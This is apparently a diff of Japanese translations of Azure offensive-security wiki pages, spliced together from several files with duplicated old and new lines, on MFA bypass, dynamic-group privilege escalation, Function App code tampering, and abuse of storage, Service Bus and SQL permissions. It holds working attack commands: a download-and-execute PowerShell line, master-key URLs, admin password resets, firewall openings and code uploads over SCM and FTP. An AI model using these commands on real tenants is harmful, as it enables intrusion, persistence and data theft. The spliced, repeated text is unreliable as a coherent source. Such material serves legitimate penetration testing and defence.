Azure MFA のオプションの一つは、**設定された電話番号に電話を受ける**ことで、ユーザーに**`#`の文字を送信するように求められます**。
> [!CAUTION]
> As chars are just **tones**, an attacker could **compromise** the **voicemail** message of the phone number, configure as the message the **tone of `#`** and then, when requesting the MFA make sure that the **victims phone is busy** (calling it) so the Azure call gets redirected to the voice mail.
> 文字は単なる**トーン**であるため、攻撃者は**ボイスメール**メッセージを妥協し、メッセージとして**`#`のトーン**を設定し、その後、MFAを要求する際に**被害者の電話が通話中であることを確認**(電話をかける)して、Azureの通話がボイスメールにリダイレクトされるようにすることができます。
### Compliant Devices
### 準拠デバイス
Policies often asks for a compliant device or MFA, so an **attacker could register a compliant device**, get a **PRT** token and **bypass this way the MFA**.
ポリシーはしばしば準拠デバイスまたはMFAを要求するため、**攻撃者は準拠デバイスを登録し**、**PRT**トークンを取得し、**この方法でMFAをバイパスする**ことができます。
Start by registering a **compliant device in Intune**, then **get the PRT** with:
まず、**Intuneに準拠デバイスを登録**し、その後**PRTを取得**します:
```powershell
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
@@ -106,7 +106,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
このスクリプトは、いくつかのユーザー資格情報を取得し、いくつかのアプリケーションにログインできるかどうかを確認します。
これは、後で**特権を昇格させるために悪用する可能性のある**いくつかのアプリケーションにログインする際に**MFAが必要ないかどうかを確認する**のに役立ちます。
これは、後で**特権を昇格させるために悪用する可能性のあるアプリケーションにログインする際にMFAが**必要ないかどうかを確認するのに役立ちます。
### [roadrecon](https://github.com/dirkjanm/ROADtools)
@@ -116,7 +116,7 @@ roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweepは、**提供された資格情報を使用してさまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定がどのように構成されているかによって、一部のプロトコル単一要素のままになる可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
MFASweepは、提供された資格情報を使用して**さまざまなMicrosoftサービスにログインし、MFAが有効かどうかを特定しようとするPowerShellスクリプトです**。条件付きアクセス ポリシーやその他の多要素認証設定の構成によって、一部のプロトコル単一要素のままになる可能性があります。また、ADFS構成の追加チェックがあり、検出された場合はオンプレミスのADFSサーバーにログインしようとすることもできます。
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
@@ -135,7 +135,7 @@ Invoke-MFASweep -Username <username> -Password <pass>
```
### [donkeytoken](https://github.com/silverhack/donkeytoken)
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントを支援することを目的とした一連の機能です。2FA対応のMicrosoftポータルテストなど
Donkey tokenは、Conditional Access Policiesを検証する必要があるセキュリティコンサルタントや、2FA対応のMicrosoftポータルテストするための機能のセットです
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
</strong><strong>Import-Module '.\donkeytoken' -Force
@@ -148,7 +148,7 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
```
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを収集することが可能です**。この場合、Sharepointが特定され、アクセスするためのトークンが要求されます:
**Azure** **ポータル**は**制約されていない**ため、**前回の実行で検出された任意のサービスにアクセスするためにポータルエンドポイントからトークンを取得することが可能です**。この場合、Sharepointが特定され、そのアクセスのトークンが要求されます:
```powershell
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token
@@ -1,27 +1,27 @@
# Az - ダイナミックグループの特権昇格
# Az - Dynamic Groups Privesc
{{#include ../../../../banners/hacktricks-training.md}}
## 基本情報
**ダイナミックグループ**は、設定された一連の**ルール**を持つグループであり、ルールに一致するすべての**ユーザーまたはデバイス**がグループに追加されます。ユーザーまたはデバイスの**属性**が**変更**されるたびに、ダイナミックルールが**再確認**されます。また、**新しいルール**が**作成**されると、すべてのデバイスとユーザーが**確認**されます。
**Dynamic groups** は、設定された一連の **rules** を持つグループであり、ルールに一致するすべての **users or devices** がグループに追加されます。ユーザーまたはデバイスの **attribute****changed** されるたびに、動的ルールが **rechecked** されます。そして、新しい **rule****created** されると、すべてのデバイスとユーザーが **checked** されます。
ダイナミックグループには**Azure RBACロール**を割り当てることができますが、ダイナミックグループに**AzureADロール**を追加することは**できません**
Dynamic groups には **Azure RBAC roles** を割り当てることができますが、**AzureAD roles** を動的グループに追加することは **not possible** です
この機能にはAzure ADプレミアムP1ライセンスが必要です。
この機能には Azure AD プレミアム P1 ライセンスが必要です。
## 特権昇格
## Privesc
デフォルトでは、任意のユーザーがAzure ADでゲストを招待できるため、ダイナミックグループの**ルール**が**属性**に基づいてユーザーに**権限**を与える場合、新しい**ゲスト**にこの属性を**設定**して**ゲストを作成**し、**特権を昇格**させることが可能です。また、ゲストは自分のプロフィールを管理し、これらの属性を変更することも可能です。
デフォルトでは、任意のユーザーが Azure AD でゲストを招待できるため、動的グループの **rule****attributes** に基づいてユーザーに **permissions** を与える場合、新しい **guest** でこの属性を **set** することで **create a guest** し、**escalate privileges** することが可能です。また、ゲストは自分のプロフィールを管理し、これらの属性を変更することも可能です。
ダイナミックメンバーシップを許可するグループを取得す: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
動的メンバーシップを許可するグループを取得します: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**
### 例
- **ルールの例**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **ルールの説明**: 文字列 'security' を含む二次メールを持つゲストユーザーはグループに追加されます。
- **Rule example**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **Rule description**: 'security' という文字列を含む二次メールを持つゲストユーザーはグループに追加されます。
ゲストユーザーのメールについて、招待を受け入れ、[https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView)で**そのユーザー**の現在の設定を確認します。\
ゲストユーザーのメール招待を受け入れ、[https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView)**that user** の現在の設定を確認します。\
残念ながら、ページでは属性値を変更することができないため、APIを使用する必要があります。
```powershell
# Login with the gust user
@@ -14,19 +14,19 @@
関数データを保存するストレージアカウント内のコンテナを読み取る権限があれば、**異なるコンテナ**(カスタムまたは事前定義された名前のもの)を見つけることができ、**関数によって実行されるコード**が含まれている可能性があります。
関数のコードがどこにあるかを見つけたら、書き込み権限があれば、関数に任意のコードを実行させ、関数に付随する管理されたアイデンティティの権限を昇格させることができます。
関数のコードがどこにあるかを見つけたら、それに対する書き込み権限があれば、関数に任意のコードを実行させ、関数に付随する管理されたアイデンティティの権限を昇格させることができます。
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING``WEBSITE_CONTENTSHARE`)
関数のコードは通常、ファイル共有内に保存されます。十分なアクセス権があれば、コードファイルを変更して**関数に任意のコードを読み込ませる**ことができ、関数に付随する管理されたアイデンティティの権限を昇格させることができます。
このデプロイメント方法は通常、**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** と **`WEBSITE_CONTENTSHARE`** の設定を構成します。これらは以下から取得できます&#x20;
このデプロイメント方法は通常、**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** と **`WEBSITE_CONTENTSHARE`** の設定を構成します。これらは次のように取得できます&#x20;
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
これらの設定には、Functionがコードにアクセスするために使用できる**ストレージアカウントキー**が含まれます。
これらの設定には、Functionがコードにアクセスするために使用できる**Storage Account Key**が含まれます。
> [!CAUTION]
> ファイル共有に接続し、**スクリプトを変更する**のに十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
@@ -49,7 +49,7 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
関数アプリが使用しているストレージアカウントコンテナのフォルダ `function-releases` 内に **zipリリース** が見つかることも一般的です。このコンテナは **通常 `function-releases` と呼ばれます**
通常、このデプロイメント方法は次の場所に `WEBSITE_RUN_FROM_PACKAGE` 設定を行います
通常、このデプロイメント方法は次の場所に `WEBSITE_RUN_FROM_PACKAGE` 設定を行います:
```bash
az functionapp config appsettings list \
--name <app-name> \
@@ -98,7 +98,7 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
ストレージアカウント内のコンテナ **`azure-webjobs-secrets`** **`<app-name>`** フォルダ内に保存されている **master and functions keys** を見つけることも可能です。
ストレージアカウント内のコンテナ **`azure-webjobs-secrets`** に保存されている **master and functions keys** を見つけることも可能で、フォルダ **`<app-name>`** 内のJSONファイルの中にあります。
> [!CAUTION]
> **zip拡張子のファイル**(実際には **`squashfs`**)にコードが含まれているブロブコンテナに接続するための十分な権限があれば、Function内で任意のコードを実行し、特権を昇格させることが可能です。
@@ -133,7 +133,7 @@ curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
```
そして、**関数で実行されているコードを変更する**には:
関数で実行されている**コードを変更する**には:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
@@ -172,11 +172,11 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
```
### Microsoft.Web/sites/config/list/action
この権限は、関数の設定を取得することを許可します。これらの構成の中には、**`AzureWebJobsStorage`** または **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** のデフォルト値を見つけることができるかもしれません。これには、**完全な権限で関数のブロブストレージにアクセスするためのアカウントキー**が含まれています。
この権限は、関数の設定を取得することを許可します。これらの構成の中には、**`AzureWebJobsStorage`** または **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** のデフォルト値を見つけることができるかもしれません。これには、**FULL権限で関数のBlobストレージにアクセスするためのアカウントキー**が含まれています。
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
さらに、この権限、**SCM ユーザー名とパスワード**(有効な場合)を取得することも許可します:
さらに、この権限により、**SCM ユーザー名とパスワード**(有効な場合)を取得することもできます:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
@@ -185,7 +185,7 @@ az rest --method POST \
これらの権限は、以前に見たように関数の設定値をリストすることに加えて、**これらの値を変更する**ことを可能にします。これは、これらの設定が関数内で実行されるコードの場所を示すため、便利です。&#x20;
したがって、Webアプリケーション内で実行する新しいコードを含むURL zipファイルを指す設定の値**`WEBSITE_RUN_FROM_PACKAGE`**を設定することが可能です:
したがって、ウェブアプリケーション内で実行する新しいコードを含むURL zipファイルを指す設定の値**`WEBSITE_RUN_FROM_PACKAGE`**を設定することが可能です:
- 現在の設定を取得することから始めます。
```bash
@@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
別のオプションは、自分のクレデンシャルを設定し、次のようにそれを使用することです
別のオプションは、自分のクレデンシャルを設定し、それを使用することです:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
@@ -264,7 +264,7 @@ az rest --method PUT \
```
- **Method SCM**
次に、これらの**基本認証資格情報を使用して、関数アプリのSCM URLにアクセスし、env変数の値を取得できます**:
次に、これらの**基本認証資格情報を使用して、あなたの関数アプリのSCM URLにアクセスし、env変数の値を取得できます:**
```bash
# Get settings values
curl -u '<username>:<password>' \
@@ -275,15 +275,15 @@ zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Note that the **SCMユーザー名**は通常、文字"$"の後にアプリの名前が続くため、次のようになります: `$<app-name>`._
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
`https://<app-name>.scm.azurewebsites.net/BasicAuth`からウェブページにもアクセスできます。
You can also access the web page from `https://<app-name>.scm.azurewebsites.net/BasicAuth`
設定値には、関数アプリのデータを保存しているストレージアカウントの**AccountKey**が含まれており、そのストレージアカウントを制御できます。
設定値には、関数アプリのデータを保存しているストレージアカウントの **AccountKey** が含まれており、そのストレージアカウントを制御できます。
- **メソッド FTP**
- **Method FTP**
次のようにFTPサーバーに接続します:
FTPサーバーに接続するには:
```bash
# macOS install lftp
brew install lftp
@@ -297,11 +297,11 @@ ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Note that the **FTP username** is usually in the format \<app-name>\\$\<app-name>._
_注意してください、**FTPユーザー名**は通常\<app-name>\\$\<app-name>の形式です。_
### Microsoft.Web/sites/publish/Action
According to [**the docs**](https://github.com/projectkudu/kudu/wiki/REST-API#command), this permission allows to **SCMサーバー内でコマンドを実行する**ことができ、アプリケーションのソースコードを変更するために使用される可能性があります。
[**ドキュメント**](https://github.com/projectkudu/kudu/wiki/REST-API#command)によると、この権限は**SCMサーバー内でコマンドを実行する**ことを許可し、アプリケーションのソースコードを変更するために使用される可能性があります。
```bash
az rest --method POST \
--resource "https://management.azure.com/" \
@@ -316,7 +316,7 @@ az rest --url "https://management.azure.com/subscriptions/<subscription-id>/reso
```
### Microsoft.Web/sites/functions/token/action
この権限を使用すると、[**管理トークン**を取得](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01)でき、その後**マスターキー**を取得し関数のコードにアクセスし変更することができます。
この権限を使用すると、[**管理トークン**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01)を取得でき、その後**マスターキー**を取得し関数のコードにアクセスし変更することができます。
```bash
# Get admin token
az rest --method POST \
@@ -338,7 +338,7 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
以下のURLで関数が有効か無効かを確認することも可能です(括弧内の権限を使用):
のURLで関数が有効か無効かを確認することも可能です(括弧内の権限を使用して):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
@@ -361,20 +361,20 @@ az functionapp identity assign \
```
### リモートデバッグ
実行中のAzure関数に接続してデバッグすることも可能です[**ドキュメントで説明されているように**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。ただし、デフォルトでは、開発者が脆弱な構成を残さないように忘れた場合に備えて、Azureはこのオプションを2日後にオフにします。
実行中のAzure関数に接続してデバッグすることも可能です[**ドキュメントで説明されているように**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。ただし、デフォルトでは、開発者が脆弱な構成を残さないように忘れた場合に備えて、Azureはこのオプションを2日後にオフにします。
デバッグが有効になっているかどうかを確認するには、次のコマンドを使用できます:
デバッグが有効になっているかどうかをFunctionで確認することができます:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
`Microsoft.Web/sites/config/write` の権限を持っている場合、関数をデバッグモードに設定することも可能です(次のコマンドは`Microsoft.Web/sites/config/list/action``Microsoft.Web/sites/config/Read`、および `Microsoft.Web/sites/Read` の権限も必要です)。
`Microsoft.Web/sites/config/write` の権限を持っている場合、関数をデバッグモードに設定することも可能です(次のコマンドは `Microsoft.Web/sites/config/list/action``Microsoft.Web/sites/config/Read`、および `Microsoft.Web/sites/Read` の権限も必要です)。
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Change Github repo
Githubリポジトリを変更するために、以下のコマンドを実行しましたが、変更されたにもかかわらず、**新しいコードは読み込まれませんでした**(おそらくGithub Actionがコードを更新することを期待しているためです)。\
さらに、**マネージドアイデンティティのフェデレーテッドクレデンシャルが新しいリポジトリを許可するように更新されていなかった**ため、あまり役に立たないようです。
さらに、**マネージドIDのフェデレーテッドクレデンシャルが更新されていなかった**ため、新しいリポジトリを許可していないようです。これはあまり役に立たないようです。
```bash
# Remove current
az functionapp deployment source delete \
@@ -32,7 +32,7 @@ az storage message put --queue-name <queue-name> --content "Injected malicious m
```
### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write`
この権限により、攻撃者はAzure Storage Queueに新しいメッセージを追加したり、既存のメッセージを更新したりすることができます。これを使用することで、悪意のあるコンテンツを挿入したり、既存のメッセージを変更したりすることができ、アプリケーションを誤解させたり、キューに依存するシステム望ましくない動作を引き起こす可能性があります。
この権限により、攻撃者はAzure Storage Queueに新しいメッセージを追加したり、既存のメッセージを更新したりできます。これを使用することで、有害なコンテンツを挿入したり、既存のメッセージを変更したりすることができ、キューに依存するアプリケーションを誤解させたり、システム望ましくない動作を引き起こす可能性があります。
```bash
az storage message put --queue-name <queue-name> --content "Injected malicious message" --account-name <storage-account>
@@ -46,7 +46,7 @@ az storage message update --queue-name <queue-name> \
```
### Action: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
この権限、攻撃者ストレージアカウント内のキューとそのプロパティを作成または変更することを許可します。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを付与または制限したりすることができます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。
この権限により、攻撃者ストレージアカウント内のキューとそのプロパティを作成または変更できます。これを使用して、不正なキューを作成したり、メタデータを変更したり、アクセス制御リスト(ACL)を変更してアクセスを付与または制限したりできます。この機能は、ワークフローを妨害したり、悪意のあるデータを注入したり、機密情報を抽出したり、さらなる攻撃を可能にするためにキュー設定を操作したりする可能性があります。
```bash
az storage queue create --name <new-queue-name> --account-name <storage-account>
@@ -56,8 +56,8 @@ az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-
```
## 参考文献
- https://learn.microsoft.com/ja-jp/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/ja-jp/rest/api/storageservices/queue-service-rest-api
- https://learn.microsoft.com/ja-jp/azure/storage/queues/queues-auth-abac-attributes
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
{{#include ../../../banners/hacktricks-training.md}}
@@ -129,7 +129,7 @@ print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
これらの権限がある場合、共有アクセスキーを読み取ったり作成したりすることで特権を昇格させることができます。これらのキーは、キュー、トピックの管理、メッセージの送受信を含むService Bus名前空間に対する完全な制御を可能にし、役割ベースのアクセス制御(RBAC)を回避する可能性があります。
これらの権限がある場合、共有アクセスキーを読み取ったり作成したりすることで特権を昇格させることができます。これらのキーは、キュー、トピックの管理、メッセージの送受信を含むService Bus名前空間完全な制御を可能にし、役割ベースのアクセス制御(RBAC)を回避する可能性があります。
```bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
@@ -4,7 +4,7 @@
## SQL Database Privesc
SQL Databaseに関する詳細情報は、以下を参照してください
SQL Databaseに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/az-sql.md
@@ -12,7 +12,7 @@ SQL Databaseに関する詳細情報は、以下を参照してください:
### "Microsoft.Sql/servers/read" && "Microsoft.Sql/servers/write"
これらの権限を持つユーザーは、Azure SQLサーバーを更新または作成し、管理者資格情報を含む重要な設定を変更することで特権昇格を行うことができます。この権限により、ユーザーはサーバーのプロパティを更新でき、SQLサーバー管理者パスワードを変更することで、不正アクセスやサーバーの制御を可能にします。また、新しいサーバーを作成することもでき、悪意のある目的のためにシャドウインフラストラクチャを導入する可能性があります。特に「Microsoft Entra Authentication Only」が無効になっている環境では、SQLベースの認証を悪用して無制限のアクセスを得ることができるため、これは特に重要です。
これらの権限を持つユーザーは、Azure SQLサーバーを更新または作成し、管理者資格情報を含む重要な設定を変更することで特権昇格を行うことができます。この権限により、ユーザーはSQLサーバー管理者パスワードを含むサーバーのプロパティを更新でき、不正アクセスやサーバーの制御を可能にします。また、新しいサーバーを作成することもでき、悪意のある目的のためにシャドウインフラストラクチャを導入する可能性があります。特に「Microsoft Entra Authentication Only」が無効になっている環境では、SQLベースの認証を悪用して無制限のアクセスを得ることができるため、これは特に重要です。
```bash
# Change the server password
az sql server update \
@@ -28,7 +28,7 @@ az sql server create \
--admin-user <admin_username> \
--admin-password <admin_password>
```
また、プライベートエンドポイント以外からアクセスする場合は、パブリックアクセスを有効にする必要があります。有効にするには
また、プライベートエンドポイント以外からアクセスする場合は、パブリックアクセスを有効にする必要があります。有効にするには:
```bash
az sql server update \
--name <server-name> \
@@ -37,7 +37,7 @@ az sql server update \
```
### "Microsoft.Sql/servers/firewallRules/write"
攻撃者は、Azure SQL サーバーのファイアウォールルールを操作して、不正アクセスを許可することができます。これを利用して、特定の IP アドレスや全体の IP 範囲(パブリック IP を含む)に対してサーバーを開放し、悪意のあるアクターのアクセスを可能にします。このポストエクスプロイト活動は、既存のネットワークセキュリティコントロールを回避したり、持続性を確立したり、機密リソースを露出させることによって環境内での横移動を促進するために使用される可能性があります。
攻撃者は、Azure SQL サーバーのファイアウォールルールを操作して、不正アクセスを許可することができます。これを利用して、特定の IP アドレスや全体の IP 範囲(パブリック IP を含む)に対してサーバーを開放し、悪意のあるアクターのアクセスを可能にします。このポストエクスプロイト活動は、既存のネットワークセキュリティコントロールを回避したり、持続性を確立したり、敏感なリソースを露出させることによって環境内での横移動を促進するために使用される可能性があります。
```bash
# Create Firewall Rule
az sql server firewall-rule create \
@@ -56,11 +56,11 @@ az sql server firewall-rule update \
--end-ip-address <new-end-ip-address>
```
さらに、`Microsoft.Sql/servers/outboundFirewallRules/delete` 権限を持つことで、ファイアウォールルールを削除できます。
注意: パブリックアクセスを有効にする必要があります。
注意パブリックアクセスを有効にする必要があります。
### ""Microsoft.Sql/servers/ipv6FirewallRules/write"
この権限を持つことで、Azure SQL Server上IPv6ファイアウォールルールを作成、変更、または削除できます。これにより、攻撃者や認可されたユーザーが既存のネットワークセキュリティ構成を回避し、サーバーへの不正アクセスを得る可能性があります。任意のIPv6アドレスからのトラフィックを許可するルールを追加することで、攻撃者はサーバーを外部アクセスに対して開放することができます。
この権限を使用すると、Azure SQL Server上IPv6ファイアウォールルールを作成、変更、または削除できます。これにより、攻撃者や認可されたユーザーが既存のネットワークセキュリティ構成を回避し、サーバーへの不正アクセスを得る可能性があります。任意のIPv6アドレスからのトラフィックを許可するルールを追加することで、攻撃者はサーバーを外部アクセスに対して開放することができます。
```bash
az sql server firewall-rule create \
--server <server_name> \
@@ -69,12 +69,12 @@ az sql server firewall-rule create \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
```
さらに、`Microsoft.Sql/servers/ipv6FirewallRules/delete` 権限を持つことで、ファイアウォールルールを削除できます。
さらに、`Microsoft.Sql/servers/ipv6FirewallRules/delete` 権限を使用すると、ファイアウォールルールを削除できます。
注意:パブリックアクセスを有効にする必要があります。
### "Microsoft.Sql/servers/administrators/write" && "Microsoft.Sql/servers/administrators/read"
この権限を使用すると、Azure SQL Server 環境で SQL データベースにアクセスし、重要な情報を取得することができます。以下のコマンドを使用することで、攻撃者または認可されたユーザーは、自分自身または別のアカウントを Azure AD 管理者として設定できます。"Microsoft Entra Authentication Only" が有効になっている場合、サーバーおよびそのインスタンスにアクセスできます。SQL サーバーの Azure AD 管理者を設定するためのコマンドは次のとおりです:
この権限を使用すると、Azure SQL Server 環境で SQL データベースにアクセスし、重要な情報を取得することができます。以下のコマンドを使用する、攻撃者または認可されたユーザーは、自分自身または別のアカウントを Azure AD 管理者として設定できます。"Microsoft Entra Authentication Only" が有効になっている場合、サーバーそのインスタンスにアクセスできます。SQL サーバーの Azure AD 管理者を設定するためのコマンドは次のとおりです:
```bash
az sql server ad-admin create \
--server <server_name> \
@@ -84,7 +84,7 @@ az sql server ad-admin create \
```
### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read"
これらの権限を持つことで、Azure SQL Serverで「Microsoft Entra Authentication Only」を構成および強制することができ、特定のシナリオで権昇格を促進する可能性があります。攻撃者またはこれらの権限を持つ認可されたユーザーは、Azure AD専用認証を有効または無効にすることができます。
これらの権限を持つことで、Azure SQL Serverで「Microsoft Entra Authentication Only」を構成および強制することができ、特定のシナリオで権昇格を促進する可能性があります。攻撃者またはこれらの権限を持つ認可されたユーザーは、Azure AD専用認証を有効または無効にすることができます。
```bash
#Enable
az sql server azure-ad-only-auth enable \
@@ -4,7 +4,7 @@
## Storage Privesc
ストレージに関する詳細情報は、以下を確認してください
ストレージに関する詳細情報は、以下を確認してください:
{{#ref}}
../az-services/az-storage.md
@@ -20,7 +20,7 @@ az storage account keys list --account-name <acc-name>
この権限を持つプリンシパルは、ストレージアカウントの**アクセスキー**の新しい秘密値を更新および取得することができます。これにより、プリンシパルはストレージアカウントに対する権限を昇格させることができます。
さらに、レスポンスでは、ユーザーは更新されたキーの値と更新されていないキーの値の両方を取得します:
さらに、レスポンスは更新されたキーの値と更新されていないキーの値も含まれます:
```bash
az storage account keys renew --account-name <acc-name> --key key2
```
@@ -34,7 +34,7 @@ az storage account update --name <acc-name> --default-action Allow
# e.g. allow an IP address
az storage account update --name <acc-name> --add networkRuleSet.ipRules value=<ip-address>
```
## Blobs Specific privesc
## Blobs 特定のプライバシー昇格
### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete
@@ -66,11 +66,11 @@ az storage container immutability-policy update \
### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/actassuperuser/action
この権限を持つユーザーは、ファイルシステム内でスーパーユーザーとしてアクションを実行できるはずです。
この権限を持つユーザーは、スーパーユーザーとしてファイルシステム内でアクションを実行できるはずです。
### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)
この権限を持つ攻撃者は、Azure Storageアカウント(階層名前空間で構成されている)用の新しいローカルユーザーを作成および更新(`Microsoft.Storage/storageAccounts/localusers/read`権限がある場合)できます。これには、ユーザーの権限やホームディレクトリを指定することが含まれます。この権限は、攻撃者が読み取り(r)、書き込み(w)、削除(d)、リスト(l)などの特定の権限を持つストレージアカウントを自分に付与できるため、重要です。さらに、これ使用される認証方法は、Azure生成のパスワードやSSHキーのペアです。ユーザーがすでに存在するかどうかのチェックはないため、既存の他のユーザーを上書きすることができます。攻撃者は特権を昇格させ、ストレージアカウントへのSSHアクセスを取得し、機密データを露出または侵害する可能性があります。
この権限を持つ攻撃者は、Azure Storage アカウント(階層名前空間で構成されている)用の新しいローカルユーザーを作成および更新(`Microsoft.Storage/storageAccounts/localusers/read` 権限がある場合)でき、ユーザーの権限やホームディレクトリを指定できます。この権限は、攻撃者が読み取り(r)、書き込み(w)、削除(d)、リスト(l)などの特定の権限を持つストレージアカウントを自分に付与できるため、重要です。さらに、これ使用される認証方法は、Azure生成のパスワードやSSHキーのペアです。ユーザーがすでに存在するかどうかのチェックはないため、既存の他のユーザーを上書きすることができます。攻撃者は特権を昇格させ、ストレージアカウントへのSSHアクセスを取得し、機密データを露出または侵害する可能性があります。
```bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -82,7 +82,7 @@ az storage account local-user create \
```
### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action
この権限を持つ攻撃者は、Azure Storage アカウント内のローカルユーザーのパスワードを再生成できます。これにより、攻撃者はユーザーの新しい認証情報(SSH または SFTP パスワードなど)を取得する能力を得ます。これらの認証情報を利用することで、攻撃者はストレージアカウントへの不正アクセスを行、ファイル転送を実行したり、ストレージコンテナ内のデータを操作したりすることができます。これにより、データの漏洩、破損、またはストレージアカウントの内容の悪意のある変更が発生する可能性があります。
この権限を持つ攻撃者は、Azure Storage アカウント内のローカルユーザーのパスワードを再生成できます。これにより、攻撃者はユーザーの新しい認証情報(SSH または SFTP パスワードなど)を取得する能力を得ます。これらの認証情報を利用することで、攻撃者はストレージアカウントへの不正アクセスを行ったり、ファイル転送を行ったり、ストレージコンテナ内のデータを操作したりすることができます。これにより、データの漏洩、破損、またはストレージアカウントの内容の悪意のある変更が発生する可能性があります。
```bash
az storage account local-user regenerate-password \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -119,7 +119,7 @@ az storage share-rm restore \
--name <FILE_SHARE_NAME> \
--deleted-version <VERSION>
```
## その他の興味深い権限 (TODO)
## 他の興味深い権限 (TODO)
- Microsoft.Storage/storageAccounts/blobServices/containers/blobs/manageOwnership/action: ブロブの所有権を変更します
